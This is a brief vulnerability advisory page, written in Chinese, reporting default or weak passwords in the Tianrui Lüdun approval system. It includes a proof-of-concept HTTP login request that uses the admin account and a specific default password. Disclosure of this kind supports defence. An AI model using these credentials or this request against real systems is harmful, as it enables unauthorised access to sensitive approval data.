天锐绿盾审批系统存在弱口令

2025-08-11 天锐绿盾审批系统 PoC Public

Description

天锐绿盾审批系统存在弱口令漏洞,部分默认或简单密码,攻击者可利用此类凭证直接登录系统,获取敏感审批数据或越权操作,需立即强制密码策略并排查账户安全。

PoC

POST /trwfe/user/logon.do HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

j_language=zh-CN&lastName=admin&password=Admin@2006&randomCode=

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities